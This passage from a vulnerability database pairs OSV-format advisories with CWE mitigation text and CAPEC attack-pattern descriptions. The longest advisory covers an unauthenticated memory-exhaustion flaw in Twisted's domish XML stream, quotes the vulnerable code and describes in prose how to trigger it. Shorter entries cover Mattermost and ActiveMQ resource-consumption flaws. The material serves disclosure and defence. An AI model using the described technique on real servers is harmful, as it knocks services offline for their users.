"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22664"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K56676554"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3476-C5C2-FR73
Vulnerability from github – Published: 2026-10-23 20:45 – Updated: 2026-10-23 20:45Summary
An allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed.
Details
In ExpatElementStream._onStartElement, each start tag appends a new element to the current element's children and descends into it, with no depth or child-count check:
# src/twisted/words/xish/domish.py (ExpatElementStream._onStartElement)
if self.documentStarted == 1:
if self.currElem != None:
self.currElem.children.append(e) # append child: no depth/count cap
e.parent = self.currElem
self.currElem = e # descend into the new element
An element is emitted and dropped only when its end tag arrives while it sits directly under the document root, so a container that is never closed keeps every child beneath it. The transport XmlStream.dataReceived feeds bytes to self.stream.parse(data) with no size limit, and in XMPP the stream is parsed during negotiation before authentication.
Affected product: Twisted, twisted.words.xish.domish element stream
Affected versions: confirmed against 26.4.0
PoC
On any endpoint that parses untrusted XML streams with this stack, such as an XMPP server, open a stream by sending the opening stream:stream tag and a container element, then stream child elements continuously and never send the container's closing tag. No credentials are required, because in XMPP the stream is parsed before authentication.
Every child is appended to the container and retained because the container is never emitted, and the transport applies no limit on the size of the unfinished document. Because each small element becomes a full object in memory the footprint is many times the traffic sent, so a modest-bandwidth peer, or several such streams, drives the process to memory exhaustion.
Impact
This is an unauthenticated remote denial of service by memory exhaustion. A single stream grows an in-memory element tree without bound, amplified by per-element object overhead, until the operating system kills the server. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that parses untrusted XML streams with this stack, such as an XMPP server or component.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 26.4.0"
},
"package": {
"ecosystem": "PyPI",
"name": "Twisted"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.10.0rc1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-115775"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-23T20:45:04Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nAn allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed.\n\n## Details\n\nIn `ExpatElementStream._onStartElement`, each start tag appends a new element to the current element\u0027s children and descends into it, with no depth or child-count check:\n\n```python\n# src/twisted/words/xish/domish.py (ExpatElementStream._onStartElement)\nif self.documentStarted == 1:\n if self.currElem != None:\n self.currElem.children.append(e) # append child: no depth/count cap\n e.parent = self.currElem\n self.currElem = e # descend into the new element\n```\n\nAn element is emitted and dropped only when its end tag arrives while it sits directly under the document root, so a container that is never closed keeps every child beneath it. The transport `XmlStream.dataReceived` feeds bytes to `self.stream.parse(data)` with no size limit, and in XMPP the stream is parsed during negotiation before authentication.\n\nAffected product: Twisted, `twisted.words.xish.domish` element stream\nAffected versions: confirmed against 26.4.0\n\n## PoC\n\nOn any endpoint that parses untrusted XML streams with this stack, such as an XMPP server, open a stream by sending the opening `stream:stream` tag and a container element, then stream child elements continuously and never send the container\u0027s closing tag. No credentials are required, because in XMPP the stream is parsed before authentication.\n\nEvery child is appended to the container and retained because the container is never emitted, and the transport applies no limit on the size of the unfinished document. Because each small element becomes a full object in memory the footprint is many times the traffic sent, so a modest-bandwidth peer, or several such streams, drives the process to memory exhaustion.\n\n## Impact\n\nThis is an unauthenticated remote denial of service by memory exhaustion. A single stream grows an in-memory element tree without bound, amplified by per-element object overhead, until the operating system kills the server. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that parses untrusted XML streams with this stack, such as an XMPP server or component.",
"id": "GHSA-3476-c5c2-fr73",
"modified": "2026-10-23T20:45:04Z",
"published": "2026-10-23T20:45:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/security/advisories/GHSA-3476-c5c2-fr73"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/pull/12751"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/commit/8873814bec8288e2466fad4d2c4d64039beb88b0"
},
{
"type": "PACKAGE",
"url": "https://github.com/twisted/twisted"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/releases/tag/twisted-26.10.0rc1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Twisted: Unauthenticated Remote Denial of Service in the Twisted words domish XML Element Stream via an Unbounded Element Tree"
}
GHSA-3487-3J7C-7GWJ
Vulnerability from github – Published: 2023-11-27 12:30 – Updated: 2023-12-04 15:20Mattermost fails to limit the log size of server logs allowing an attacker sending specially crafted requests to different endpoints to potentially overflow the log.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "9.1.0"
},
{
"fixed": "9.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.8.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-48369"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-28T20:47:54Z",
"nvd_published_at": "2023-11-27T10:15:08Z",
"severity": "MODERATE"
},
"details": "Mattermost fails to limit the log size of server logs allowing an attacker sending specially crafted requests to different endpoints to potentially overflow the log. \n\n",
"id": "GHSA-3487-3j7c-7gwj",
"modified": "2023-12-04T15:20:28Z",
"published": "2023-11-27T12:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48369"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mattermost Uncontrolled Resource Consumption vulnerability"
}
GHSA-34FP-XVXP-RG22
Vulnerability from github – Published: 2022-05-17 03:46 – Updated: 2024-03-14 22:49The default configuration of Apache ActiveMQ before 5.8.0 enables a sample web application, which allows remote attackers to cause a denial of service (broker resource consumption) via HTTP requests.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.activemq:apache-activemq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.8.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.activemq:activemq-web-demo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2012-6551"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-29T21:32:55Z",
"nvd_published_at": "2013-04-21T21:55:00Z",
"severity": "MODERATE"
},
"details": "The default configuration of Apache ActiveMQ before 5.8.0 enables a sample web application, which allows remote attackers to cause a denial of service (broker resource consumption) via HTTP requests.",
"id": "GHSA-34fp-xvxp-rg22",
"modified": "2024-03-14T22:49:46Z",
"published": "2022-05-17T03:46:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-6551"
},
{
"type": "WEB",
"url": "https://github.com/apache/activemq/commit/22bc55b9487df98a3c3cb04f99f4618fcba364fe"
},
{
"type": "WEB",
"url": "https://github.com/apache/activemq/commit/437ea2f6e58d18837ae0e68dcd2fdadc1fff3723"
},
{
"type": "WEB",
"url": "https://github.com/apache/activemq/commit/ced33d2551a040813cb40bd6d36fdd322034fa73"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/activemq"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/AMQ-4124"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/AMQ-5033"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311210\u0026version=12323282"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20130916074709/http://activemq.2283324.n4.nabble.com/DISCUSS-ActiveMQ-out-of-the-box-Should-not-include-the-demos-tc4658044.html"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200228042520/http://www.securityfocus.com/bid/59401"
},
{
"type": "WEB",
"url": "http://activemq.apache.org/activemq-580-release.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-1029.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Apache ActiveMQ default configuration subject to denial of service"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.